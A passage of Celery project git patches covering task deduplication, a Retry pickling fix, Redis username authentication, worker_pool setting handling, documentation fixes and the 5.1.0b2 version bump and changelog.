@@ def test_info_function(self): import string kwargs = {} for i in range(0, 2): - kwargs[str(i)] = ''.join(random.choice(string.ascii_lowercase) for i in range(1000)) + kwargs[str(i)] = ''.join( + random.choice(string.ascii_lowercase) for i in range(1000)) assert self.get_request( self.add.s(**kwargs)).info(safe=True).get('kwargs') == kwargs assert self.get_request( self.add.s(**kwargs)).info(safe=False).get('kwargs') == kwargs args = [] for i in range(0, 2): - args.append(''.join(random.choice(string.ascii_lowercase) for i in range(1000))) + args.append(''.join( + random.choice(string.ascii_lowercase) for i in range(1000))) assert list(self.get_request( self.add.s(*args)).info(safe=True).get('args')) == args assert list(self.get_request( @@ -449,6 +453,23 @@ def test_terminate__task_started(self): job.terminate(pool, signal='TERM') pool.terminate_job.assert_called_with(job.worker_pid, signum) + def test_cancel__pool_ref(self): + pool = Mock() + signum = signal.SIGTERM + job = self.get_request(self.mytask.s(1, f='x')) + job._apply_result = Mock(name='_apply_result') + with self.assert_signal_called( + task_retry, sender=job.task, request=job._context, + einfo=None): + job.time_start = monotonic() + job.worker_pid = 314 + job.cancel(pool, signal='TERM') + job._apply_result().terminate.assert_called_with(signum) + + job._apply_result = Mock(name='_apply_result2') + job._apply_result.return_value = None + job.cancel(pool, signal='TERM') + def test_terminate__task_reserved(self): pool = Mock() job = self.get_request(self.mytask.s(1, f='x')) @@ -458,6 +479,27 @@ def test_terminate__task_reserved(self): assert job._terminate_on_ack == (pool, 15) job.terminate(pool, signal='TERM') + def test_cancel__task_started(self): + pool = Mock() + signum = signal.SIGTERM + job = self.get_request(self.mytask.s(1, f='x')) + job._apply_result = Mock(name='_apply_result') + with self.assert_signal_called( + task_retry, sender=job.task, request=job._context, + einfo=None): + job.time_start = monotonic() + job.worker_pid = 314 + job.cancel(pool, signal='TERM') + job._apply_result().terminate.assert_called_with(signum) + + def test_cancel__task_reserved(self): + pool = Mock() + job = self.get_request(self.mytask.s(1, f='x')) + job.time_start = None + job.cancel(pool, signal='TERM') + pool.terminate_job.assert_not_called() + assert job._terminate_on_ack is None + def test_revoked_expires_expired(self): job = self.get_request(self.mytask.s(1, f='x').set( expires=datetime.utcnow() - timedelta(days=1) @@ -667,7 +709,8 @@ def test_on_failure_acks_on_failure_or_timeout_disabled_for_task(self): job.on_failure(exc_info) assert job.acknowledged is True - job._on_reject.assert_called_with(req_logger, job.connection_errors, False) + job._on_reject.assert_called_with(req_logger, job.connection_errors, + False) def test_on_failure_acks_on_failure_or_timeout_enabled_for_task(self): job = self.xRequest() @@ -709,6 +752,25 @@ def test_on_failure_acks_on_failure_or_timeout_enabled(self): job.on_failure(exc_info) assert job.acknowledged is True + def test_on_failure_task_cancelled(self): + job = self.xRequest() + job.eventer = Mock() + job.time_start = 1 + job.message.channel.connection = None + + try: + raise Terminated() + except Terminated: + exc_info = ExceptionInfo() + + job.on_failure(exc_info) + + assert job._already_cancelled + + job.on_failure(exc_info) + job.eventer.send.assert_called_once_with('task-cancelled', + uuid=job.id) + def test_from_message_invalid_kwargs(self): m = self.TaskMessage(self.mytask.name, args=(), kwargs='foo') req = Request(m, app=self.app) @@ -1087,7 +1149,8 @@ def setup(self): def create_request_cls(self, **kwargs): return create_request_cls( - Request, self.task, self.pool, 'foo', self.eventer, app=self.app, **kwargs + Request, self.task, self.pool, 'foo', self.eventer, app=self.app, + **kwargs ) def zRequest(self, Request=None, revoked_tasks=None, ref=None, **kwargs): From 8d6778810c5153c9e4667eed618de2d0bf72663e Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 28 Apr 2021 18:37:08 +0300 Subject: [PATCH 215/415] Deduplicate successful tasks (#6722) * Deduplicate successful tasks. This feature allows the user to deduplicate successful tasks which acks late. The trace function fetches the metadata from the backend each time it receives a task and compares its state. If the state is SUCCESS we log and bail instead of executing the task. The task is acknowledged and everything proceeds normally. * Fix test to cover a backend error. * Added a local cache of successful task. Instead of hitting the backend every time, we first check if the task was successfully executed in this worker. The local cache is limited to 1000 tasks so our memory usage won't grow dramatically over time. * Only deduplicate when task is redelivered. * Don't deduplicate when backend is not persistent. * Added documentation. * Push the task into the stack only after checking that it is not a duplicate. * Adjust unit tests. --- celery/app/defaults.py | 3 + celery/app/trace.py | 34 +++++++++- celery/worker/request.py | 2 +- celery/worker/state.py | 16 +++++ docs/userguide/configuration.rst | 27 ++++++++ t/unit/tasks/test_trace.py | 106 +++++++++++++++++++++++++++++-- 6 files changed, 179 insertions(+), 9 deletions(-) diff --git a/celery/app/defaults.py b/celery/app/defaults.py index 8d95712696f..abb46cca8dd 100644 --- a/celery/app/defaults.py +++ b/celery/app/defaults.py @@ -299,6 +299,9 @@ def __repr__(self): disable_rate_limits=Option( False, type='bool', old={'celery_disable_rate_limits'}, ), + deduplicate_successful_tasks=Option( + False, type='bool' + ), enable_remote_control=Option( True, type='bool', old={'celery_enable_remote_control'}, ), diff --git a/celery/app/trace.py b/celery/app/trace.py index b6ff79fcef5..fb4fdd6d7e5 100644 --- a/celery/app/trace.py +++ b/celery/app/trace.py @@ -20,7 +20,9 @@ from celery._state import _task_stack from celery.app.task import Context from celery.app.task import Task as BaseTask -from celery.exceptions import Ignore, InvalidTaskError, Reject, Retry +from celery.exceptions import (BackendGetMetaError, Ignore, InvalidTaskError, + Reject, Retry) +from celery.result import AsyncResult from celery.utils.log import get_logger from celery.utils.nodenames import gethostname from celery.utils.objects import mro_lookup @@ -46,6 +48,8 @@ 'setup_worker_optimizations', 'reset_worker_optimizations', ) +from celery.worker.state import successful_requests + logger = get_logger(__name__) #: Format string used to log task success. @@ -327,6 +331,10 @@ def build_tracer(name, task, loader=None, hostname=None, store_errors=True, else: publish_result = not eager and not ignore_result + deduplicate_successful_tasks = ((app.conf.task_acks_late or task.acks_late) + and app.conf.worker_deduplicate_successful_tasks + and app.backend.persistent) + hostname = hostname or gethostname() inherit_parent_priority = app.conf.task_inherit_parent_priority @@ -391,9 +399,31 @@ def trace_task(uuid, args, kwargs, request=None): except AttributeError: raise InvalidTaskError( 'Task keyword arguments is not a mapping') - push_task(task) + task_request = Context(request or {}, args=args, called_directly=False, kwargs=kwargs) + + redelivered = (task_request.delivery_info + and task_request.delivery_info.get('redelivered', False)) + if deduplicate_successful_tasks and redelivered: + if task_request.id in successful_requests: + return trace_ok_t(R, I, T, Rstr) + r = AsyncResult(task_request.id, app=app) + + try: + state = r.state + except BackendGetMetaError: + pass + else: + if state == SUCCESS: + info(LOG_IGNORED, { + 'id': task_request.id, + 'name': get_task_name(task_request, name), + 'description': 'Task already completed successfully.' + }) + return trace_ok_t(R, I, T, Rstr) + + push_task(task) root_id = task_request.root_id or uuid task_priority = task_request.delivery_info.get('priority') if \ inherit_parent_priority else None diff --git a/celery/worker/request.py b/celery/worker/request.py index 487384f256b..2255de132b1 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -497,7 +497,7 @@ def on_success(self, failed__retval__runtime, **kwargs): if isinstance(retval.exception, (SystemExit, KeyboardInterrupt)): raise retval.exception return self.on_failure(retval, return_ok=True) - task_ready(self) + task_ready(self, successful=True) if self.task.acks_late: self.acknowledge() diff --git a/celery/worker/state.py b/celery/worker/state.py index aa8782546c4..5b2ed68c5fe 100644 --- a/celery/worker/state.py +++ b/celery/worker/state.py @@ -34,10 +34,17 @@ #: maximum number of revokes to keep in memory. REVOKES_MAX = 50000 +#: maximum number of successful tasks to keep in memory. +SUCCESSFUL_MAX = 1000 + #: how many seconds a revoke will be active before #: being expired when the max limit has been exceeded. REVOKE_EXPIRES = 10800 +#: how many seconds a successful task will be cached in memory +#: before being expired when the max limit has been exceeded. +SUCCESSFUL_EXPIRES = 10800 + #: Mapping of reserved task_id->Request. requests = {} @@ -47,6 +54,10 @@ #: set of currently active :class:`~celery.worker.request.Request`'s. active_requests = weakref.WeakSet() +#: A limited set of successful :class:`~celery.worker.request.Request`'s. +successful_requests = LimitedSet(maxlen=SUCCESSFUL_MAX, + expires=SUCCESSFUL_EXPIRES) + #: count of tasks accepted by the worker, sorted by type. total_count = Counter() @@ -64,6 +75,7 @@ def reset_state(): requests.clear() reserved_requests.clear() active_requests.clear() + successful_requests.clear() total_count.clear() all_total_count[:] = [0] revoked.clear() @@ -98,10 +110,14 @@ def task_accepted(request, def task_ready(request, + successful=False, remove_request=requests.pop, discard_active_request=active_requests.discard, discard_reserved_request=reserved_requests.discard): """Update global state when a task is ready.""" + if successful: + successful_requests.add(request.id) + remove_request(request.id, None) discard_active_request(request) discard_reserved_request(request) diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 5110e476bf7..d2ae1e2a166 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -2601,6 +2601,33 @@ to have different import categories. The modules in this setting are imported after the modules in :setting:`imports`. +.. setting:: worker_deduplicate_successful_tasks + +``worker_deduplicate_successful_tasks`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +.. versionadded:: 5.1 + +Default: False + +Before each task execution, instruct the worker to check if this task is +a duplicate message. + +Deduplication occurs only with tasks that have the same identifier, +enabled late acknowledgment, were redelivered by the message broker +and their state is ``SUCCESS`` in the result backend. + +To avoid overflowing the result backend with queries, a local cache of +successfully executed tasks is checked before querying the result backend +in case the task was already successfully executed by the same worker that +received the task. + +This cache can be made persistent by setting the :setting:`worker_state_db` +setting. + +If the result backend is not persistent (the RPC backend, for example), +this setting is ignored. + .. _conf-concurrency: .. setting:: worker_concurrency diff --git a/t/unit/tasks/test_trace.py b/t/unit/tasks/test_trace.py index c7e11552976..d5cb86ec455 100644 --- a/t/unit/tasks/test_trace.py +++ b/t/unit/tasks/test_trace.py @@ -1,4 +1,5 @@ -from unittest.mock import ANY, Mock, patch +from unittest.mock import ANY, Mock, PropertyMock, patch +from uuid import uuid4 import pytest from billiard.einfo import ExceptionInfo @@ -6,8 +7,8 @@ from celery import group, signals, states, uuid from celery.app.task import Context -from celery.app.trace import (TraceInfo, build_tracer, fast_trace_task, - get_log_policy, get_task_name, +from celery.app.trace import (TraceInfo, build_tracer, + fast_trace_task, get_log_policy, get_task_name, log_policy_expected, log_policy_ignore, log_policy_internal, log_policy_reject, log_policy_unexpected, @@ -15,14 +16,18 @@ setup_worker_optimizations, trace_task, trace_task_ret, traceback_clear) from celery.backends.base import BaseDictBackend -from celery.exceptions import Ignore, Reject, Retry +from celery.backends.cache import CacheBackend +from celery.exceptions import BackendGetMetaError, Ignore, Reject, Retry +from celery.states import PENDING +from celery.worker.state import successful_requests def trace( - app, task, args=(), kwargs={}, propagate=False, eager=True, request=None, **opts + app, task, args=(), kwargs={}, propagate=False, + eager=True, request=None, task_id='id-1', **opts ): t = build_tracer(task.name, task, eager=eager, propagate=propagate, app=app, **opts) - ret = t('id-1', args, kwargs, request) + ret = t(task_id, args, kwargs, request) return ret.retval, ret.info @@ -466,6 +471,95 @@ def xtask(): assert info is not None assert isinstance(ret, ExceptionInfo) + def test_deduplicate_successful_tasks__deduplication(self): + @self.app.task(shared=False) + def add(x, y): + return x + y + + backend = CacheBackend(app=self.app, backend='memory') + add.backend = backend + add.store_eager_result = True + add.ignore_result = False + add.acks_late = True + + self.app.conf.worker_deduplicate_successful_tasks = True + task_id = str(uuid4()) + request = {'id': task_id, 'delivery_info': {'redelivered': True}} + + assert trace(self.app, add, (1, 1), task_id=task_id, request=request) == (2, None) + assert trace(self.app, add, (1, 1), task_id=task_id, request=request) == (None, None) + + self.app.conf.worker_deduplicate_successful_tasks = False + + def test_deduplicate_successful_tasks__no_deduplication(self): + @self.app.task(shared=False) + def add(x, y): + return x + y + + backend = CacheBackend(app=self.app, backend='memory') + add.backend = backend + add.store_eager_result = True + add.ignore_result = False + add.acks_late = True + + self.app.conf.worker_deduplicate_successful_tasks = True + task_id = str(uuid4()) + request = {'id': task_id, 'delivery_info': {'redelivered': True}} + + with patch('celery.app.trace.AsyncResult') as async_result_mock: + async_result_mock().state.return_value = PENDING + assert trace(self.app, add, (1, 1), task_id=task_id, request=request) == (2, None) + assert trace(self.app, add, (1, 1), task_id=task_id, request=request) == (2, None) + + self.app.conf.worker_deduplicate_successful_tasks = False + + def test_deduplicate_successful_tasks__result_not_found(self): + @self.app.task(shared=False) + def add(x, y): + return x + y + + backend = CacheBackend(app=self.app, backend='memory') + add.backend = backend + add.store_eager_result = True + add.ignore_result = False + add.acks_late = True + + self.app.conf.worker_deduplicate_successful_tasks = True + task_id = str(uuid4()) + request = {'id': task_id, 'delivery_info': {'redelivered': True}} + + with patch('celery.app.trace.AsyncResult') as async_result_mock: + assert trace(self.app, add, (1, 1), task_id=task_id, request=request) == (2, None) + state_property = PropertyMock(side_effect=BackendGetMetaError) + type(async_result_mock()).state = state_property + assert trace(self.app, add, (1, 1), task_id=task_id, request=request) == (2, None) + + self.app.conf.worker_deduplicate_successful_tasks = False + + def test_deduplicate_successful_tasks__cached_request(self): + @self.app.task(shared=False) + def add(x, y): + return x + y + + backend = CacheBackend(app=self.app, backend='memory') + add.backend = backend + add.store_eager_result = True + add.ignore_result = False + add.acks_late = True + + self.app.conf.worker_deduplicate_successful_tasks = True + + task_id = str(uuid4()) + request = {'id': task_id, 'delivery_info': {'redelivered': True}} + + successful_requests.add(task_id) + + assert trace(self.app, add, (1, 1), task_id=task_id, + request=request) == (None, None) + + successful_requests.clear() + self.app.conf.worker_deduplicate_successful_tasks = False + class test_TraceInfo(TraceCase): class TI(TraceInfo): From b0326ab0e249288e8e551e78fcb88ab2c2b84bcb Mon Sep 17 00:00:00 2001 From: Sergey Tikhonov Date: Thu, 29 Apr 2021 17:15:04 +0300 Subject: [PATCH 216/415] #6748 Fix Retry.__reduce__ method (#6749) * #6748 Fix Retry.__reduce__ method * #6748 ensure that Retry.exc is pickleable in __reduce__ * #6748 fix maximum recursion for pypy, remove pickleable exception. get_pickleable_exception introduces circular import * #6748 remove arguments missing in pickled Retry instance * #6748 optimize imports --- celery/exceptions.py | 2 +- t/unit/app/test_exceptions.py | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/celery/exceptions.py b/celery/exceptions.py index a30f460c69a..cc09d3f894c 100644 --- a/celery/exceptions.py +++ b/celery/exceptions.py @@ -180,7 +180,7 @@ def __str__(self): return f'Retry {self.humanize()}' def __reduce__(self): - return self.__class__, (self.message, self.excs, self.when) + return self.__class__, (self.message, self.exc, self.when) RetryTaskError = Retry # noqa: E305 XXX compat diff --git a/t/unit/app/test_exceptions.py b/t/unit/app/test_exceptions.py index 3b42a0bed55..b881be4c028 100644 --- a/t/unit/app/test_exceptions.py +++ b/t/unit/app/test_exceptions.py @@ -12,7 +12,10 @@ def test_when_datetime(self): def test_pickleable(self): x = Retry('foo', KeyError(), when=datetime.utcnow()) - assert pickle.loads(pickle.dumps(x)) + y = pickle.loads(pickle.dumps(x)) + assert x.message == y.message + assert repr(x.exc) == repr(y.exc) + assert x.when == y.when class test_Reject: From ae20f2fcc8553af25f15699fe41a07a3e5db19a8 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 2 May 2021 11:33:54 +0300 Subject: [PATCH 217/415] Add support in the redis result backend for authenticating with a username (#6750) * Add support in the redis result backend for authenticating with a username. Previously, the username was ignored from the URI. Starting from Redis>=6.0, that shouldn't be the case since ACL support has landed. Fixes #6422. * Mention which version added support for this setting. --- celery/app/defaults.py | 1 + celery/backends/redis.py | 17 ++++++++++++++--- docs/userguide/configuration.rst | 19 +++++++++++++++++-- t/unit/backends/test_redis.py | 27 +++++++++++++++++++++++++++ 4 files changed, 59 insertions(+), 5 deletions(-) diff --git a/celery/app/defaults.py b/celery/app/defaults.py index abb46cca8dd..1883f2565bb 100644 --- a/celery/app/defaults.py +++ b/celery/app/defaults.py @@ -176,6 +176,7 @@ def __repr__(self): db=Option(type='int'), host=Option(type='string'), max_connections=Option(type='int'), + username=Option(type='string'), password=Option(type='string'), port=Option(type='int'), socket_timeout=Option(120.0, type='float'), diff --git a/celery/backends/redis.py b/celery/backends/redis.py index 74a2e18b582..a52cf33d519 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -233,6 +233,17 @@ def __init__(self, host=None, port=None, db=None, password=None, socket_connect_timeout and float(socket_connect_timeout), } + username = _get('redis_username') + if username: + # We're extra careful to avoid including this configuration value + # if it wasn't specified since older versions of py-redis + # don't support specifying a username. + # Only Redis>6.0 supports username/password authentication. + + # TODO: Include this in connparams' definition once we drop + # support for py-redis<3.4.0. + self.connparams['username'] = username + if health_check_interval: self.connparams["health_check_interval"] = health_check_interval @@ -285,11 +296,11 @@ def __init__(self, host=None, port=None, db=None, password=None, ) def _params_from_url(self, url, defaults): - scheme, host, port, _, password, path, query = _parse_url(url) + scheme, host, port, username, password, path, query = _parse_url(url) connparams = dict( defaults, **dictfilter({ - 'host': host, 'port': port, 'password': password, - 'db': query.pop('virtual_host', None)}) + 'host': host, 'port': port, 'username': username, + 'password': password, 'db': query.pop('virtual_host', None)}) ) if scheme == 'socket': diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index d2ae1e2a166..739dc5680c4 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -107,6 +107,7 @@ have been moved into a new ``task_`` prefix. ``CELERY_REDIS_DB`` :setting:`redis_db` ``CELERY_REDIS_HOST`` :setting:`redis_host` ``CELERY_REDIS_MAX_CONNECTIONS`` :setting:`redis_max_connections` +``CELERY_REDIS_USERNAME`` :setting:`redis_username` ``CELERY_REDIS_PASSWORD`` :setting:`redis_password` ``CELERY_REDIS_PORT`` :setting:`redis_port` ``CELERY_REDIS_BACKEND_USE_SSL`` :setting:`redis_backend_use_ssl` @@ -1127,7 +1128,7 @@ Configuring the backend URL This backend requires the :setting:`result_backend` setting to be set to a Redis or `Redis over TLS`_ URL:: - result_backend = 'redis://:password@host:port/db' + result_backend = 'redis://username:password@host:port/db' .. _`Redis over TLS`: https://www.iana.org/assignments/uri-schemes/prov/rediss @@ -1142,7 +1143,7 @@ is the same as:: Use the ``rediss://`` protocol to connect to redis over TLS:: - result_backend = 'rediss://:password@host:port/db?ssl_cert_reqs=required' + result_backend = 'rediss://username:password@host:port/db?ssl_cert_reqs=required' Note that the ``ssl_cert_reqs`` string should be one of ``required``, ``optional``, or ``none`` (though, for backwards compatibility, the string @@ -1154,6 +1155,20 @@ If a Unix socket connection should be used, the URL needs to be in the format::: The fields of the URL are defined as follows: +#. ``username`` + + .. versionadded:: 5.1.0 + + Username used to connect to the database. + + Note that this is only supported in Redis>=6.0 and with py-redis>=3.4.0 + installed. + + If you use an older database version or an older client version + you can omit the username:: + + result_backend = 'redis://:password@host:port/db' + #. ``password`` Password used to connect to the database. diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index a33fce329ca..c96bcca357a 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -340,6 +340,20 @@ def test_no_redis(self): with pytest.raises(ImproperlyConfigured): self.Backend(app=self.app) + def test_username_password_from_redis_conf(self): + self.app.conf.redis_password = 'password' + x = self.Backend(app=self.app) + + assert x.connparams + assert 'username' not in x.connparams + assert x.connparams['password'] == 'password' + self.app.conf.redis_username = 'username' + x = self.Backend(app=self.app) + + assert x.connparams + assert x.connparams['username'] == 'username' + assert x.connparams['password'] == 'password' + def test_url(self): self.app.conf.redis_socket_timeout = 30.0 self.app.conf.redis_socket_connect_timeout = 100.0 @@ -353,6 +367,19 @@ def test_url(self): assert x.connparams['password'] == 'bosco' assert x.connparams['socket_timeout'] == 30.0 assert x.connparams['socket_connect_timeout'] == 100.0 + assert 'username' not in x.connparams + + x = self.Backend( + 'redis://username:bosco@vandelay.com:123//1', app=self.app, + ) + assert x.connparams + assert x.connparams['host'] == 'vandelay.com' + assert x.connparams['db'] == 1 + assert x.connparams['port'] == 123 + assert x.connparams['username'] == 'username' + assert x.connparams['password'] == 'bosco' + assert x.connparams['socket_timeout'] == 30.0 + assert x.connparams['socket_connect_timeout'] == 100.0 def test_timeouts_in_url_coerced(self): pytest.importorskip('redis') From e1e139e773c7826a6e0d56395fb3af8bfb7b98bb Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 2 May 2021 12:57:16 +0300 Subject: [PATCH 218/415] worker_pool setting is now respected correctly (#6711) * Set all remaining kwargs as preconfigured settings. This avoids confusing our users when they set other settings through the Celery constructor. * Prefer the worker_pool setting if available. If we get the default value through the CLI, we should first check if the worker_pool setting was set. Fixes #6701. * Added unit test for configuration using kwargs. --- celery/app/base.py | 7 ++++--- celery/bin/worker.py | 28 ++++++++++++++++++++++------ t/unit/app/test_app.py | 4 ++++ 3 files changed, 30 insertions(+), 9 deletions(-) diff --git a/celery/app/base.py b/celery/app/base.py index 27f1d90f779..f0b45694e4f 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -274,9 +274,10 @@ def __init__(self, main=None, loader=None, backend=None, self.__autoset('broker_url', broker) self.__autoset('result_backend', backend) self.__autoset('include', include) - self.__autoset('broker_use_ssl', kwargs.get('broker_use_ssl')) - self.__autoset('redis_backend_use_ssl', - kwargs.get('redis_backend_use_ssl')) + + for key, value in kwargs.items(): + self.__autoset(key, value) + self._conf = Settings( PendingConfiguration( self._preconf, self._finalize_pending_conf), diff --git a/celery/bin/worker.py b/celery/bin/worker.py index 5b5e7fd8ed3..7242706f748 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -45,8 +45,20 @@ def __init__(self): def convert(self, value, param, ctx): # Pools like eventlet/gevent needs to patch libs as early # as possible. - return concurrency.get_implementation( - value) or ctx.obj.app.conf.worker_pool + value = super().convert(value, param, ctx) + worker_pool = ctx.obj.app.conf.worker_pool + if value == 'prefork' and worker_pool: + # If we got the default pool through the CLI + # we need to check if the worker pool was configured. + # If the worker pool was configured, we shouldn't use the default. + value = concurrency.get_implementation(worker_pool) + else: + value = concurrency.get_implementation(value) + + if not value: + value = concurrency.get_implementation(worker_pool) + + return value class Hostname(StringParamType): @@ -140,7 +152,8 @@ def detach(path, argv, logfile=None, pidfile=None, uid=None, '--statedb', cls=CeleryOption, type=click.Path(), - callback=lambda ctx, _, value: value or ctx.obj.app.conf.worker_state_db, + callback=lambda ctx, _, + value: value or ctx.obj.app.conf.worker_state_db, help_group="Worker Options", help="Path to the state database. The extension '.db' may be " "appended to the filename.") @@ -161,7 +174,8 @@ def detach(path, argv, logfile=None, pidfile=None, uid=None, @click.option('--prefetch-multiplier', type=int, metavar="", - callback=lambda ctx, _, value: value or ctx.obj.app.conf.worker_prefetch_multiplier, + callback=lambda ctx, _, + value: value or ctx.obj.app.conf.worker_prefetch_multiplier, cls=CeleryOption, help_group="Worker Options", help="Set custom prefetch multiplier value" @@ -170,7 +184,8 @@ def detach(path, argv, logfile=None, pidfile=None, uid=None, '--concurrency', type=int, metavar="", - callback=lambda ctx, _, value: value or ctx.obj.app.conf.worker_concurrency, + callback=lambda ctx, _, + value: value or ctx.obj.app.conf.worker_concurrency, cls=CeleryOption, help_group="Pool Options", help="Number of child processes processing the queue. " @@ -268,7 +283,8 @@ def detach(path, argv, logfile=None, pidfile=None, uid=None, @click.option('-s', '--schedule-filename', '--schedule', - callback=lambda ctx, _, value: value or ctx.obj.app.conf.beat_schedule_filename, + callback=lambda ctx, _, + value: value or ctx.obj.app.conf.beat_schedule_filename, cls=CeleryOption, help_group="Embedded Beat Options") @click.option('--scheduler', diff --git a/t/unit/app/test_app.py b/t/unit/app/test_app.py index 5178cbdf59b..0cfadb1800e 100644 --- a/t/unit/app/test_app.py +++ b/t/unit/app/test_app.py @@ -274,6 +274,10 @@ def test_with_broker(self, patching): with self.Celery(broker='foo://baribaz') as app: assert app.conf.broker_url == 'foo://baribaz' + def test_pending_confugration__kwargs(self): + with self.Celery(foo='bar') as app: + assert app.conf.foo == 'bar' + def test_pending_configuration__setattr(self): with self.Celery(broker='foo://bar') as app: app.conf.task_default_delivery_mode = 44 From 9dee18bfbacffbc6f04d61745d20e917a304c1b5 Mon Sep 17 00:00:00 2001 From: Jonas Kittner <54631600+theendlessriver13@users.noreply.github.com> Date: Mon, 3 May 2021 10:26:40 +0200 Subject: [PATCH 219/415] update docs/userguide - `@task` -> `@app.task` (#6752) --- docs/userguide/tasks.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/userguide/tasks.rst b/docs/userguide/tasks.rst index e41da045ea7..1870d8e1a7c 100644 --- a/docs/userguide/tasks.rst +++ b/docs/userguide/tasks.rst @@ -153,7 +153,7 @@ be the task instance (``self``), just like Python bound methods: logger = get_task_logger(__name__) - @task(bind=True) + @app.task(bind=True) def add(self, x, y): logger.info(self.request.id) @@ -175,7 +175,7 @@ The ``base`` argument to the task decorator specifies the base class of the task def on_failure(self, exc, task_id, args, kwargs, einfo): print('{0!r} failed: {1!r}'.format(task_id, exc)) - @task(base=MyTask) + @app.task(base=MyTask) def add(x, y): raise KeyError() @@ -318,7 +318,7 @@ on the automatic naming: .. code-block:: python - @task(name='proj.tasks.add') + @app.task(name='proj.tasks.add') def add(x, y): return x + y From 3328977202c0c1f2b23d21f5ca452595c3a58199 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 2 May 2021 13:03:32 +0300 Subject: [PATCH 220/415] =?UTF-8?q?Bump=20version:=205.1.0b1=20=E2=86=92?= =?UTF-8?q?=205.1.0b2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 3415054d468..057a348b7bb 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.1.0b1 +current_version = 5.1.0b2 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 7fc9498920a..f4fe61aea17 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.1.0b1 (singularity) +:Version: 5.1.0b2 (singularity) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.1.0b1 runs on, +Celery version 5.1.0b2 runs on, - Python (3.6, 3.7, 3.8, 3.9) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 or 5.1.0b1 coming from previous versions then you should read our +new to Celery 5.0.5 or 5.1.0b2 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index 898c0138add..a5f7f2f49a5 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'singularity' -__version__ = '5.1.0b1' +__version__ = '5.1.0b2' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 2f47543eb00..2f395a1fcc6 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.1.0b1 (cliffs) +:Version: 5.1.0b2 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From 55a6324e54c3c181fde9a16dd50fe260cd0cf2e2 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 6 May 2021 16:43:54 +0300 Subject: [PATCH 221/415] Added the changelog for 5.1.0b2. --- Changelog.rst | 181 +++++---------------------------- docs/history/changelog-5.0.rst | 156 ++++++++++++++++++++++++++++ 2 files changed, 182 insertions(+), 155 deletions(-) create mode 100644 docs/history/changelog-5.0.rst diff --git a/Changelog.rst b/Changelog.rst index cafe66d43ad..026ed077fb2 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -5,10 +5,31 @@ ================ This document contains change notes for bugfix & new features -in the 5.0.x & 5.1.x series, please see :ref:`whatsnew-5.0` for -an overview of what's new in Celery 5.0. 5.1.0b1 is an incremental -pre release with lots of bug fixes and some new features/enhancements. -Some dependencies were upgraded to newer versions. +in the & 5.1.x series, please see :ref:`whatsnew-5.1` for +an overview of what's new in Celery 5.1. + +.. _version-5.1.0b2: + +5.1.0b2 +======= +:release-date: 2021-05-02 16.06 P.M UTC+3:00 +:release-by: Omer Katz + +- Fix the behavior of our json serialization which regressed in 5.0. (#6561) +- Add support for SQLAlchemy 1.4. (#6709) +- Safeguard against schedule entry without kwargs. (#6619) +- ``task.apply_async(ignore_result=True)`` now avoids persisting the results. (#6713) +- Update systemd tmpfiles path. (#6688) +- Ensure AMQPContext exposes an app attribute. (#6741) +- Inspect commands accept arguments again (#6710). +- Chord counting of group children is now accurate. (#6733) +- Add a setting :setting:`worker_cancel_long_running_tasks_on_connection_loss` + to terminate tasks with late acknowledgement on connection loss. (#6654) +- The ``task-revoked`` event and the ``task_revoked` signal are not duplicated + when ``Request.on_failure`` is called. (#6654) +- Restore pickling support for ``Retry``. (#6748) +- Add support in the redis result backend for authenticating with a username. (#6750) +- The :setting:`worker_pool` setting is now respected correctly. (#6711) .. _version-5.1.0b1: @@ -60,154 +81,4 @@ Some dependencies were upgraded to newer versions. - Moved CI to github action. - Updated deployment scripts. - Updated docker. -- Initial support of python 3.9 added. - - -.. _version-5.0.5: - -5.0.5 -===== 